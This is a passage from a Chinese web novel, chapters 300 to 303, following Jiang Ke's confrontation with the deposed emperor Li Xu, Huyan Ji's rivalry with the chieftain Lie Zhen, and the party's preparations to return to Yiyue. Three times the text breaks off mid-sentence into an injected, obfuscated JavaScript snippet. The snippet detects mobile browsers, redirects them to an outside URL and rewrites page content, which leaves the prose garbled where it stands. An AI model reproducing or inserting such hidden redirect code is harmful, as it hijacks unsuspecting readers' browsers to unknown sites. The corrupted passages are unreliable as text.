大夏进入夷越的商货,大多是轻小货品,抽税高,不影响什么,而夷越进入大夏的商货皆是皮草、珍珠、铁器之类,税款高对夷越不利。 呼延吉眼往下一压,复抬起说道:“商贾利薄,十抽一恐难承受,尤其贵国锦缎、茶叶价值不菲,抽税过重,恐滞销于夷越,我以为,十五抽一更为妥当。” 十五抽一便是十五份货物中抽一份货物的价值抵税。 可呼延吉不能拿自己国家的货物说道,只是抓住对方高价值商品做文章,要求降低税率,实则为夷越商货进入大夏国争取更低税率。 魏泽哪能不明,想了想,退让一步:“此言差矣,贵国铁器、珍珠,何尝不是价值千金?十五抽一过低,难以维持边关查验、道路维护之费,九抽一乃底线。” 呼延吉放在膝上的指有一下无一下地敲着,沉吟片刻,说道:“税赋关乎商路兴衰,不如折中,贵国茶、丝锦入夷越按九抽一,我国铁、珠入大夏按八五抽一,如何?” 魏泽觉着有些意思,这位夷越王看着年纪轻轻,却是个不愿吃半点亏的主儿。 看似让步,实则在大夏高利商品上争取了更高税率,在自己商品上争取了更低税率。 魏泽心中开始盘算,茶、锦利润极高,九抽一可接受;铁、珠是急需品,八五抽一虽略高,但可转嫁成本或内部消化。 就这么,两国就大宗货税款议定,接下来又是通往货币商议。 江轲把玩着腰间的玉穗,微低着头,思想已不在殿中,直到听见呼延吉叫自己,这才抬起头。 “商议好了?” 呼延吉点了点头。 江轲就要走向魏泽,询问有关李旭之事,呼延吉却拦下他:“走。” 江轲看向呼延吉,怔了一怔,没再多问什么。 魏泽留呼延吉于殿中用晚宴,呼延吉谢过,并不多作逗留。 “花宴过后还请陛下着人将那香铺娘子安全护送回九泽台。” “这个自然。”魏泽说着亲送他二人出殿。 出了皇宫,江轲问呼延吉:“他同你说了?” “说了,我告诉你地址,你自去。”落后,呼延吉又追说了一句,“只是有一点……” “什么?”江轲问道。 “不论问得什么结果,别告诉阿姐,也不必向我说明,你自己知道就好,我不想她再为这件事情烦心。”呼延吉打起车帘,看了一眼窗外,声音淡淡的。 江轲默然片刻,点头道:“好。” 两人先回了九泽台,江念还在宫里赏花未回。 江轲回屋更换了一套常服,再次乘车出了府门,径往一个地方行去…… 第300章 抄家真相 马车在阔整的大道上行着,江轲思索着见到李旭后的情形。 这个时候,马车行走的速度变缓,变得颠簸,车外的嘈杂声一点点静下去,于是好奇地打起车帘往外看去。 已经驶离了正街,同刚才繁华的街区不同,这条道路狭窄,路面坑坑洼洼,即使没有下雨,也是泥泞积着污水,连空气都是潮湿的霉味。 “郎君,前面走不通了。”一名随坐在车辕的护卫说道。 江轲看了眼,前面的巷子口太窄,不时有人穿行,马车无法进入,只能停于巷口。 “是这里?”江轲问道。 车辕另一侧的车夫答道:“回贵人的话,就是这里了。” 江轲点头,不待马车停稳,径直跳下马车,才一落地,泥水就污了锦靴。 车夫和护卫也跟着下了车,车夫从旁道:“这一区是京都的流民区,住得都是些没身份之人,鱼龙混杂。” 江轲有些怀疑是不是被那大夏皇帝忽悠,或是走错了地方,与其说这是一条街,不如说是一条稍宽的巷弄。 茅棚下的两扇木门前立着三两个揽客的暗娼,脸涂得粉白,嘴巴像喝了血,无骨地倚着门栏,一双眼贪婪地在江轲身上来回睃。 “你们在这里候着。”江轲说道。 护卫和车夫应下,守在巷子口。 江轲往里走去,不时有人从他身边过,然后将他打量,江轲并未理会,数着门房,走到第三扇房门处停下了脚。 刚准备上前,就听到门里传来尖厉刺耳的喝骂。 “呸!瞅瞅你那副怂样!连个糊口的营生都寻不着!天天就知道挺尸、灌黄汤!老娘倒了八辈子血霉,跟你这滩烂泥搭伙过日子,你那手是金子做得不成?!” “还端着那副架子给谁看呢?脖子梗得跟打鸣的公鸡似的,兜里比脸还干净,装什么大瓣蒜?野狗叼块骨头都比你强!你这辈子也就配在阴沟里舔舔馊水了!” 江轲听着这叫骂声越发觉着自己寻错了地方,正要抬脚离开,另一个声音传来。 “市井泼妇,粗鄙不堪!你这等腌臜货色,给我提夜壶都不配!” 江轲正要离开的脚步生生被拉回,那叫骂声还在继续,妇人的声音更加尖锐。 “哎哟——还给你提夜壶都不配,你下面那玩意儿也就只能用来放水,腰肢无力的软脚虾,当初还以为是个能顶门的汉子,结果是个没把儿的蔫黄瓜,上炕认不得枕头,下炕找不着鞋,我看呐,你也就剩那身皮还值俩钱……” 妇人话未说完“啪——”的一声响。 安静了一瞬,妇人嚎嚷:“打我?!老娘不活了,老娘不活了……” 江轲在妇人的哭泼哭闹中推开了门,向里看去,屋里光线昏暗,即使是大白天也像阴天时的傍晚。 “吱呀——”声起,引得屋里的男女同时看来。 妇人年纪并不大,面目透出浓浓的市井气,见到江轲后两眼立时亮起,挨近前,细着嗓:“郎君找谁?” 江轲只在妇人面上扫了一眼,然后将目光落到男人身上。 “我找他。” 妇人回头看了一眼自家男人,撇了撇嘴,一扭身出了房门。 江轲看着眼前的李旭,李旭还没反应过来,可是他的脸比他人反应得快,这昏黑狭窄的小屋只剩下他那张惨白的脸。 待他整个人反应过来,一个起身就要往屋外蹿去,却**轲一脚踹回,整个人倒砸到墙上。 李旭捂着胸口,一口气闷下喘吸不上,过了好一会儿才通畅,接着惊骇地看着江轲。 “别杀我……我只是想活……” 江轲低眼看着蜷缩于墙影下的李旭,声音凝结成冰:“你想活?我江家那么多口人就该死?!” 李旭两眼看向地面,眼珠从左看到右,再从右看到左,像是找什么,却是慌乱得找着说辞。 不待他出声,江轲再次开口:“为何对付我江家?为何半点活路不留?” 江轲说这话时一直压着声气,可那话音是颤着的,已然气恨到极点。 “我不记得江家有开罪于你?况我祖父还是你的亲师……” 话音未落,墙影下低隐隐的笑声传来,不像从李旭的喉腔发出,更像是他整个人都在笑抖着,接着笑声渐大,越来越放肆,收势不住。 “亲师?”李旭为了让江轲听清,一字一顿地说道,“他要不是我老师,你们江家还不至于被抄家。” “什么意思?” 江轲追问,他记得江家的颓败是从祖父逝去后开始的,祖父一走,父亲在朝堂举步维艰,先是被排挤,再之后官职一贬再贬。 所有人都看出皇帝有意打压江家,而在众人心里,皆以为皇帝顾及师生情,待江太傅仙逝后才整治江家。 江轲也是这样认为,可李旭话里的意思却是江家遭难是因为祖父而起,更是因着祖父是他亲师的身份。 李旭从地上撑起身,捂着胸口歪坐到脏皱的榻上。 “你把话说明。”江轲催他。 李旭捂着胸口,喘了两下:“你若答应不杀我,我就说。” 江轲心头冷笑,点头道:“好,不杀你,你说。” 李旭松下一口气,说道:“老头子处处打压我,有一次,我不过犯了一个小小的错处,他就说‘此乃蒙童皆知之理’,如此羞辱,我岂能忍,甚至在伴读面前责问于我,那时我便记下,有朝一日,必定加倍奉还。” 在李旭看来,江太傅的严苛只针对他,对他的两个兄长却言语温和,这种不平等在他眼里一点点放大,恶化。 江轲明白了,他面对的是一个怎样的蠢货,不仅蠢,还不正常。 李旭当三皇子时,一直是憨厚老实的模样,谁也没看出他内里的暴戾和疯狂。 祖父对他的严厉管教被他记恨,被他曲解,待他登上帝位,他便要把这位目睹过他不堪的见证者抹除,好像只有祖父消失,那些耻辱的印记就会一同消失。 他长期积累的嫉妒、怨恨、自卑、**,源于他自身,可他不会恨自己,祖父成了他认定的罪魁祸首。 “我恨他,却又因师生之谊不能杀他,只能等他死后找你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957809|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们江家清算。”李旭自以为是地笑道,“他一定在你们江家人面前数落我如何蠢笨,如何无能,所以你们江家人也必须得死,都得死,都得死……” 面对这样一个偏执之人,江轲突然觉得无力,不知想到什么,冷冷笑道:“你想要抹除过去,因为过去见不得光,那你现在呢?曾经的大梁皇帝却同阴沟里的老鼠一样,在妇人裙底讨食。” 江轲看着李旭,又道:“我不杀你,你就该过这样泥猪癞狗一般的日子。” 李旭任江轲羞辱,没有太大的反应,只要能让他活着,他什么都无所谓。 可江轲不愿这样便宜他,嘴角扬起一抹恶笑:“虽不杀你,可就这么放过你,我却不甘心,你猜我接下来会做什么?” 李旭有种不好的预感。 “你不是不愿人知道你不堪的过去么,那咱们换种方式,就让人知道你从前有多光鲜,曾经的梁国皇帝,如今……啧啧……” 江轲一句话直接让李旭惊得眼珠震颤,每个毛孔都在叫嚣着,不要,他怕了…… “不,你要做什么,没有梁国皇帝,哪有什么梁国皇帝,你说了也不会有人相信。”李旭万分惊恐道。 江轲继续笑着:“信不信有什么关系,以后这周围之人都会戏称你一声‘梁国皇帝’,他们会呼喝着叫你,‘梁国皇帝’去给我把这袋米扛来,又或是‘梁国皇帝’把这张桌子擦了,还有……‘梁国皇帝’过来给我把驴车赶走……” 江轲走到李旭跟前,拿出**在他面上拍了拍:“是不是啊,梁国皇帝,你做得卖力指不定还有赏钱。” 李旭大睁着眼,一副见鬼的表情,反手扯住江轲:“不能说,不能说,你说了我就没活路了,就让我像狗一样活着。” 李旭从一个人人不被看好的三皇子成为一国之尊,一旦得势就想抹去从前的不光彩。 如今从云端跌落,又怕人知道他过去的尊贵,周围人戏谑的目光和言语就像刀子,凌迟着他,这比让他死更难受。 江轲没猜错,李旭这人自尊心极强,而他极强的自尊心又源于他扭曲的自卑。 “李旭,这都是你该得的,曾经你对我江家所做的一切终会还于己身,你以后就过着尊严尽丧、阴沟活尸的日子!” 江轲痛快地大笑出声,转身打开房门,谁知门开得突然,门后偷听之人没有防备,向前趔趄两步进了屋。 偷听之人不是别人,正是那个妇人。 妇人眼带讥讽地看着李旭:“啧啧——你这囚样还是个皇帝哩!” 江轲不再逗留,转身出了屋子,仍能听到妇人叽喳的满是不屑的嘲讽,这下好了,他都不必亲自动手,自有人来收拾,李旭活不了多久。 …… 江念在宫里赏花回得晚,在她回来之前,江轲去找了李旭,弄清了当年的真相。 因得了呼延吉的交代,这件事他不准备让江念知晓,自己隐藏于心。 在江轲出门后,呼延吉更换常服出了九泽台,往一个方向行去,有些事情他得弄清楚…… 第301章 就是亲一下 自打那日江念带呼延吉来了一趟,云娘一直魂不守舍,说不清什么心情,很复杂,好像一直悬在心里的石头终于不再悬着了,往下落,却一直没落到底。 好在他们没多待,坐了一会儿就走了,次日来了两名夷越宫医,给苏和看治腿伤。 云娘坐在石榴树下呆想着,想着江念说的话,她说他们要回夷越了。 如果回了夷越,可能等着自己的就是责罚,毕竟她违背了夷越王的意思,不仅会受到责罚,甚至会连带申宫医,正想着,院门被敲响,以为是隔壁的宫医,遂起身前去开门。 然而门外站得是两名护卫,待两名护卫退开显出身后之人,云娘惊得连退两步,继而伏跪于地。 呼延吉看也不看,越过她走向院中,掇了一把竹椅,随坐下。 “你过来,我有话问你。” 云娘掉过身,又朝呼延吉磕了一个头,这才缓缓起身躬身到他面前,应候回话。 “之前让你报她的行踪与我,你擅自违逆,此一事我先不计较,你把大妃从来大夏到目前为止,所有发生过的事,事无巨细一一备述出来。” 云娘一听先前的事暂不计较,缓了一口气,再不敢有所隐瞒,把她们三人自登船之后的所有事都道了出来。 这里面有些事情江念已对呼延吉说过,可呼延吉再次问云娘,是因为他知道江念必会隐去一些事,不叫他知道。 果然,让他听到了一件。 “你说……那个叫阿丽娜的迷晕了她,然后把她运至九泽台献给烈真?”呼延吉问道。 云娘听不出这话里的情绪,可就是这无波无澜的语调让人心里无底。 “是。” 呼延吉一只手抚向自己的虎口,眼皮垂着,突然开口道:“然后呢?” 云娘接着道:“苏和知道后去求魏王,最后还是魏王出面,这件事情才了结。” “诱骗至酒楼,继而被下药,接着失踪,最后在九泽台被找到?” 呼延吉给出极为简短的一句总结。 “是。”云娘答道。 当时江念被苏和带回来后,人就进屋躺下了,院中几人皆是忧心,这种隐晦之事,中间到底有无发生过什么,只有当事人自己清楚。 不论是魏王亦或是苏和,没人能说得清。 云娘和秋水两人怕触了江念的伤痛,直接跳过那天,绝口不提。 云娘把实情一五一十说了。 可这不增不减的实情,特别是江念被迷晕抬去九泽台这一节,不得不让呼延吉多想。 他不认为烈真可以压住**不去碰江念,所以在他心里,江念那日一定受了欺负。 先开始,江念说她困于九泽台,因有求于烈真,烈真虽有些乘人之危之嫌,却也说不得说什么,毕竟是江念求人办事在先。 因着这一层,呼延吉没同烈真计较,只打算让江念回到身边,可今日听此一说,态度便有了不同。 呼延吉没再说话,静默了好一会儿,这诡异的安静,叫云娘心里越来越忐忑。 之后呼延吉又问了些话,云娘一一答了,不过是些琐碎之事,呼延吉听后没再说什么,起身离开。 …… 彼边,赏花会散去,江念刚要登上马车,一个声音从后叫住她。 “想不到,你一个行商之女也有资格入宫。” 江念侧头看去,正是阿丽娜。 只听她又道:“也就是皇后娘娘心善,才对你客气,你别真把自己当一回事。” 江念横了阿丽娜一眼,这人怕不是有毛病,她今日心情特别好,打算回去同呼延吉说一说花宴的事,不想因这人败坏心情。 于是不理会她,上到马车里,阿丽娜以为江念会回呛两句,谁知自讨了个没趣,也上了自己的马车,先后往九泽台行去。 待江念回了院子,刚走到长廊处,前面走来一人,一个她不想见到之人,于是侧身避开。 那人从她跟前经过,停住。 “念娘……” 烈真唤了一声。 江念仍是微垂着头,不给任何回应。 “我知道,你心里定是气我拿你为赌注,放心,我会想办法让你回到我身边。”烈真说道。 “乌塔首领此话差矣,一切都是我心甘情愿,不存在赌气。” 江念见他没有要走的意思,于是就要离开,谁知被烈真擒住手腕。 江念的脸一下就红了,挣动着:“你松手……” 烈真本想好言语同她说几句话,谁知得来的却是一脸冷漠,于是收起好性儿,沉声道:“你真要跟他?” 江念挣脱不得,干脆抬眼看向对面,肯定道:“是。” 烈真绷紧腮帮直直盯着江念,江念也毫不示弱地瞪着他。 这样一副油盐不进的样子叫他恨也不是气也不是,想要责两句,却又说不出口。 正想着,身后传来一声轻嘲:“这是在做什么?” 江念心里一咯噔,错过烈真的肩头往他身后看去,就见呼延吉站在不远处,冷冷地看着他二人,最后目光落向下,落到烈真抓取她的腕上。 烈真见了呼延吉,松开江念,横拦在他二人中间,对呼延吉说道:“你叫什么名字。” 呼延吉不答,用一种同刚才完全不同的声调说道:“阿姐,过来。” 江念就要错过烈真往对面行去,却被烈真伸手拦住。 然而,就在烈真伸手拦江念的同时,呼延吉的长鞭已招呼来,精准地往烈真身上抽去。 烈真侧身避过,待他回身之际,江念已一溜烟地到了对面。 这时,烈真身后的一名武将喝道:“你好大胆!区区一个护卫,竟敢冒犯我族首领。” 呼延吉身后亦跟了几名侍卫,回呛道:“乌塔王虽是乌塔族首领,可我等非你乌塔人,我们夷越人只忠我们自己的王。” 烈真看向对面,女人半隐在男人挺拔的身躯后,有一瞬,他居然觉得这二人站在一起那样和洽。 还有……他从那名护卫的眼中探到一丝危险气息。 …… 江念随呼延吉回了院子,此时天已暗了下来,房里开始上饭,待饭菜上好后,江念让秋水等几个丫鬟退了出去,房中只她和呼延吉两人。 “今儿我去宫里参加赏花宴,见着大夏国的皇后了。”江念给自己拈了一片鲜笋。 呼延吉“嗯”了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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呼延吉停下脚步,将她拉到自己跟前,然后扫了一下周围,再回转过头,拿手抬了抬她的下巴,让她迎向自己,最后在她的唇上落下轻轻一吻。 江念眨了眨眼,笑道:“这是做什么?” 呼延吉不自在地清了清嗓:“没什么,就是想亲一下。” 说完,两人继续沿着小径往前行去。 江念快走两步拦在他的身前,揪住他的衣襟,踮脚,将他拉低一点:“我得还回去。” 话才说完,一声异响自前方的矮木丛传来,惊得江念赶紧松开手。 “出来!”呼延吉凝目呵斥。 矮木丛颤动几下,一个身影走了出来,江念觑见一看,惊道:“轲儿?” 江轲拍了拍头,把杂枝细草扫掉,一面拍一面喊了一声阿姐。 “怎么鬼鬼祟祟地蜷在草木后?”江念又问。 江轲嘿笑两声:“我饭后来园子里消食,走得好好的,谁知碰到你二人。” 呼延吉狐疑道:“我和阿姐是鬼不成?碰着了就要躲?” 第302章 到底有没有把人怎么样? 江轲在他二人身上扫了一眼,说道:“我还没怨,你倒怪起来,本身走得好好的,一个拐角就看到你二人……那什么……在外面还是收敛点。” 说着便走到江念身侧,三人一齐往花园闲走着,闲谈着。 呼延吉看似随意地说了一句:“过个三两日就返程,你在大夏若还有事未办,抓紧时间处理。” 江轲知道这是对自己说的,接话道:“已经办好了。” 两人心照不宣的对话叫江念好奇,遂问道:“什么办好了?” 江轲停顿了一下,笑道:“我听说大夏有几样兵器,市面上难买,都是大师傅炼制,准备买来玩一玩,也不好寻,这两日去街上再找一找。” 江念点了点头。 三人走了一会儿,便回了屋。 更深之时,江念睡得迷迷糊糊,突觉身上有些异样,喘不上气,还以为在做梦,可异样的感觉越来越清晰。 朦胧中睁开眼,就见一个黑朦朦的影儿,伏在她的身上,隔着薄衫用亲吻一点点描着她身上各处。 “好晚了……”江念嘟囔一句。 呼延吉“嗯”了一声,探出一手,把江念身上宽大的绢衣半解,却并不褪下,而是钻进她宽大的衫袍里,两人的身体紧紧贴合一处。 江念感知到他的变化,舒展身子,温柔地将他一点点容下。 先时呼延吉缓缓动着,是她熟悉的节奏,到后面却带了一点凶狠的意味。 好久,怎么也不能结束,江念有些应付不来,只能轻声央讨:“吉儿……阿姐有些累了……” 呼延吉放轻力道,胸脯起伏,然后俯下身,一只手撑在江念耳边,一只手从她的颈下穿过,将她揽入怀里。 “阿姐,我来晚了……” “不晚,不晚。” 在江念看来,在她随烈真去乌塔之前呼延吉出现了,这便不晚。 呼延吉将她鬓间的碎发拢到耳后,然后一语不发地起身,只披一件白长衫,随手一系,趿鞋下地往外走去。 “去哪儿?” “我出去一下,马上就回。” 江念也不多问,躺回,有些睡不着,最后真如他所说,没过一会儿就回了,重新躺回榻间,身上带着微湿的凉气,想他刚才用凉水沐身去了。 她贴到他的怀里,汲取他身上舒适的凉意,调整好姿势,安心地闭眼睡去。 呼延吉一条臂膀环上她,在她后背抚了抚,也跟着睡去。 …… 彼边,魏王府…… 曲折的廊檐下点着灯,晕开的灯光下,阔大的湖池边有两个黑影,再近一些看清了,是两人,一个站着,一个盘腿坐着。 那个站的人并非一直静立着,而是不停地来回踱步。 “能不能立着不动,你这样我还怎么钓鱼,鱼都被你吓跑。” 盘腿坐着的那人说着,然后调整了一下手里的钓竿。 来回踱步的烈真干脆屈腿蹲下:“你那钩子鱼儿咬上都嫌滑嘴。” 说罢,又道,“小秋儿,这次你真得帮我,你是不知道,他敢在我面前甩鞭子。” 魏秋当然知道这个“他”是谁,从刚才开始,烈真已不知说了多少遍。 他很想告诉烈真,让他收手,别去争,争也争不过,可皇兄交代夷越王的身份不可泄露。 只能从旁劝说:“那也是你不对在先。” 烈真怔了怔,冷笑一声:“我到你这来,是让你给我评理的?” 魏秋两眼仍盯着水里的钓竿:“那你想怎样?” “总得有个先来后到,我先识得念娘,他凭一场比试就想把我的人带走?这口气我咽不下。” “先来后到那也是别人先你一步。”魏秋低喃一句。 不,不止一步,先你小半辈子,听说呼延吉同他这位大妃青梅竹马,中间因呼延吉归国,分开了几年,后来又千方百计把人接到身边。 “你嘀嘀咕咕说什么?”烈真问道。 “没什么,就是让你不要同那个护卫争,能近身随护于江小国舅绝非一般护卫,身份必是不同。”魏秋提醒道,“那日你也看到了,估计我俩加一起,也未必是他的对手。” “我还未在谁手里吃过这样大的亏,那是我的人!念娘是我的女人!”烈真气愤道。 魏秋听此一言,心头轰得一响,连竿也甩了:“什么意思?!你跟我说实话,那日你到底有没有把人怎么样?” 烈真默着脸不说话。 魏秋急了,这可不是闹着玩的,若烈真染指呼延吉的女人,这事可就大了。 呼延吉不知道还罢,一旦叫他知晓,一定不会善罢甘休,那人八岁蛰伏于大梁,最后大梁国破也是自他而起。 这样一个腹有机谋、手段狠绝之人最好不要开罪。 魏秋见烈真不语,语带焦急:“到底有无轻薄之举?” 烈真一把扯过旁边的野草:“有亲近,但没到那一步。” 魏秋狐疑地看着他:“此话当真?” 这下轮到烈真不解了,觉得魏秋对此事过于紧张。 “你这反应过了罢,你对我王妹都没这般紧张,怎的反倒对念娘的事情这样紧张。”烈真若有所思地看向魏秋,像要从他身上探究出什么。 魏秋重新拾起渔竿,稍稍平了平情绪:“我皇兄一再交代,让我招待好夷越使臣一行人,当然了,也得招待好你们乌塔人,这才紧张,所以阿兄你也心疼心疼我,别让我在中间难做。” 烈真一屁股坐下,两只胳膊撑在身后,嘴里一个劲地叨念着,不甘心。 “你到底是不甘心输给那人还是不甘心可意人被他人拐跑?”魏秋问道。 烈真仰望着天,说道:“不冲突,都不甘心。”停了一会儿,又问,“他们是不是过三日就准备离开了?” 魏秋“嗯”着点了点头。 “要不你再想办法,组织一场赛事,我把念娘赢回来?” 魏秋叹了一息,刚才自己的话白说了,于是转了话头:“你若真想美人儿,我让人替你另找几个。” 烈真嗤笑一声:“我那宫里还少美人儿?行了,我也不难为你。” 这话便在这里止住,魏秋以为烈真歇了心思,可他忘了,烈真也不是个省油的灯。 过了两日,夷越同大夏谈妥商贸事宜,准备次日启行回夷越。 前一晚,皇宫再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963168|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次设筵宴,给夷越使臣一行人饯行。 前一次迎夷越使臣,宴厅之上,上首并坐着大夏皇帝和乌塔族首领。 这次的饯行宴不同,华殿之上不再设首座,而是将所有桌案列成一个圈。 大夏皇帝坐正南方位,他的左手是乌塔族首领,而在他的对面,也就是正北方位坐着夷越国的小国舅。 这是众人眼中看到的,然,只有通晓内情的魏秋、江轲还有夷越一行人知道,事实并非如此,大夏皇帝正对面坐着的并非小国舅,而是小国舅左手边的呼延吉。 不过因呼延吉明面上是江轲的护卫官,列于席间没人觉得不对。 酒过三巡,席间众人已有七八分醉意,这时烈真开口说道:“上次本王输在夷越护卫手里,今日不如趁着酒性再相较一回,如何?” 烈真的意图很明显,就是想借这个机会把人抢回。 此言一出,本来热闹的筵席渐渐安静下来。 夏帝敛目不语,坐于斜对面的魏王则盯着出声的烈真,烈真仿若不觉,只是看着对面的呼延吉。 呼延吉轻笑道:“乌塔首领想要同在下比试,是看得起在下,只是比试到最后必然有输有赢,赢者奖赏,败者惩罚,但是在下想要的赏物……乌塔王给不起。” “你想要什么,只要开口,天上地下没有本王给不起的。”烈真说道。 呼延吉笑了笑,并不答话,只是把杯中酒一饮而下。 “今日乃饯行之宴,只赏舞畅饮,不争高低。”魏泽发了话,烈真不再说什么,其他人更不敢说什么。 一众人吃喝到好晚方散去,人散后,魏泽留下魏秋。 “明日你亲自率人把夷越王等一行人送到港口城。”魏泽吩咐道,虽是这样说,可心里仍有些不安。 烈真一再挑衅,呼延吉不见恼怒,要么就是容忍大度,要么就是暴风雨前的平静。 他希望是前一种。 魏秋应下了,魏泽想起一事,又问:“听说阿丽娜来了,你不好太冷着人。” 魏秋本不愿谈这些事情,既然说到这里,直言道:“那丫头太不像样,给她多些照顾可以,却绝不会娶她。” “怎么说?”魏泽知道魏秋脾性随和,很是顾及女儿家的薄面,不论什么场合,只要有他说说笑笑,气氛就会很好。 这会儿提及阿丽娜,他却肃着脸,定是有原因。 魏秋不喜背后说人,更不愿去讲一个女儿家的是非,可阿丽娜做得有些不像话。 “那夷越王妃当初被迷晕,最后转至九泽台,皇兄以为谁做得出来这样又蠢又……”出于教养,魏秋说不下去便住了嘴。 魏泽默了一会儿,这种事情烈真不会做,估摸就是阿丽娜那丫头做的,烈真这个兄长只能替她顶下。 魏秋又道:“想她从前被老乌塔王溺爱,我只当她有些金贵的淘气,现下一看,全然不顾他人死活,可见其禀性,这样的女子,小弟万万不敢要。” 说罢,怕他皇兄担心,继续道:“夷越王还不知晓此事,那位王妃想是不愿多生事端,有意隐下,他们明日就走了,兄长放心,不会有问题……” 第303章 阿和,我们明日就要走了 饯行筵宴散后,魏泽将魏秋叫到议事殿,听魏秋提及夷越王妃被迷晕出自阿丽娜之手,也觉着那丫头太胡来。 “明日,你带一队人马护送,定要将他们安全送到港口城。” 魏秋应下。 魏泽想了想仍不放心,适才烈真想要同呼延吉比试,呼延吉没有应下,他说怕烈真输不起,何谓输不起,当时呼延吉的样子不像在说笑。 于是又让魏秋近前,另外嘱咐了一番话…… …… 在皇宫设饯行宴的同一时,江念去了长福坊,云娘肯定是要同她一道离开的,只是听云娘说,苏和好似不愿随他们一道走。 问他今后的打算,他也不说。 “阿和的腿伤可好一些了?”江念走进院子。 云娘转头往屋里看了一眼,然后引江念坐下,然后坐到她的对面,低声道:“宫医们前脚才走,后脚你就来了,肿已经消了,只是还需拐杖才能行走。” 云娘也有些气恨:“枉你一番心意,跑去求了乌医来,不仅把他救醒了,腿也治得差不多了,虽说不能再踢蹴鞠,可好歹同普通人没差,他自己……” 说到这里,本该骂得更狠的云娘,突然一声叹:“他又想去救你,可那乌塔族的首领是他够不着的人物,就像那天,他连人家的门槛都跨不过去,之后便一直自责,认为是他连累了你。” “他歇下了么?”江念这话刚一问出口,那屋里不知是什么掉了,“嘎达”传出一点响动。 云娘忍着笑,给江念睇了个眼色,无声道:“醒着呢,故意的。” 江念无奈地摇了摇头,看似对秋水吩咐,实则对着窗口扬声:“去看看他醒着没,若是醒着,把他叫出来在院子里坐坐,成日闷在屋里怕是要生霉。” 秋水笑着应下,江念同云娘也起身随在后面上了台阶,秋水敲响侧边的房门。 房里先安静了一瞬,然后响起一声咳嗽,那咳嗽也不是真的咳嗽,像是在清嗓子:“谁?” “阿和,睡了么?”秋水问道。 “没睡。” 秋水回头对着江念和云娘一笑,然后说:“那出来到院子里坐一坐,这会儿夜风正好哩!” 说罢,不见里面有回音,江念等人又重回院子坐下,没一会儿就听见门扇开阖的声音。 苏和拄着拐慢慢行到三人面前坐下。 江念见他走路不成问题,可能还得些时日才能恢复到丢掉拐杖的程度。 “我们明日就要走了。”江念说道。 苏和听后“嗯”了一声,然后抬头看向江念,微笑道:“先前不知你是王妃。” 江念扑哧一笑:“现在你知道了,给我磕两个响头罢?” 苏和先是一怔,接着也笑了起来。 江念慢慢收起笑,说道:“云姐姐和秋水会同我一起回夷越,所以你之后打算怎么办?” 苏和想了想说道:“我就不同你们一道了。” 江念“嗯”了一声:“所以你打算等我们走后,再俏不声儿的回夷越?就如同来大夏时一样,港口城时明明可以随我们一路来京都,却煞有介事地说什么在港口城有事待办,我当有什么事呢,原是怕咱们瞧不起,自己赚路费去了。” 苏和蓦地红了脸,好在天色暗,看不出来。 云娘跟着说道:“我们既然是乘着同一艘海船来的,就乘着同一艘海船离开嘛,你一个夷越人在异国他乡多不容易,日后又不能再踢蹴鞠了,靠什么活?难不成再给人做苦力?就你这腿脚,只怕去了人家也不要哩!” “而且,你又在大夏风光过一时,能忍受别人异样的眼光么?”云娘说着,拿下巴指了指一旁的拐杖。 苏和一声不言语,之后该如何连他自己也不清楚。 可有一点他很清楚,他双腿废了,不愿像寄生虫一样跟着江念她们,他更清楚,江念和云娘不会不管自己,所以情愿离她们远一些。 “不打紧,等腿脚好了,我可以找份轻省的活计,而且手里还有些钱资,也够了。” 江念却不留情面的把他的话戳破:“明日我们一走,宫医们也要走,谁给你医腿脚?没人给你医腿脚,你的腿脚能好?真想当个跛子?” 苏和一噎。 江念佯装得叹了一声,转头对云娘说:“云姐姐,前些时大王还跟我说呢,他说等我回去,我若想开店铺,他也不束着我,就让我开。” “哎哟!这可太好了!”云娘一拊掌。 “可不是,我原本打算回了夷越开一家蹴鞠社,可我又不懂这些门道,想找个人帮我打理。”江念说到这里,故意瞥了眼苏和,继续道,“嗳!结果人家另有去处,不愿跟咱们一路,罢了,罢了。” 云娘杵了杵苏和:“都讲到这个份上了,你不说两句?” 苏和张了张嘴,说道:“那我……帮你打理……”既然念娘需要他,他就跟着一起。 江念看了苏和一眼,确认道:“所以说定了,明日你同咱们一起启程回夷越?” “是。”苏和点头道。 当晚,江念让人把云娘还有苏和接去了九泽台,以便次日一齐出发。 …… 彼边,九泽台。 烈真回到院中并未进屋,在石台上坐着醒酒。 可恨那护卫太狡黠,行止合度,无隙可乘,任他说破天也不肯入套,反倒显得他揪着不放,落了下乘。 这算是打他记事起吃过的头一个闷亏,从前就是在魏泽面前,也没这般憋堵。 “公主呢?怎的这两日不见她的影儿?”烈真问道。 一旁的丫鬟嗫嚅半晌答不上话,阿丽娜公主怎会向他们这些下人报行踪。 烈真一摆手:“罢了,去准备热水。” 那丫头向来野惯了,估摸带着侍从去京都周边玩去了。特意寻她时寻不到,不寻时,又出人意料的不知从哪个角落冒出来。 …… 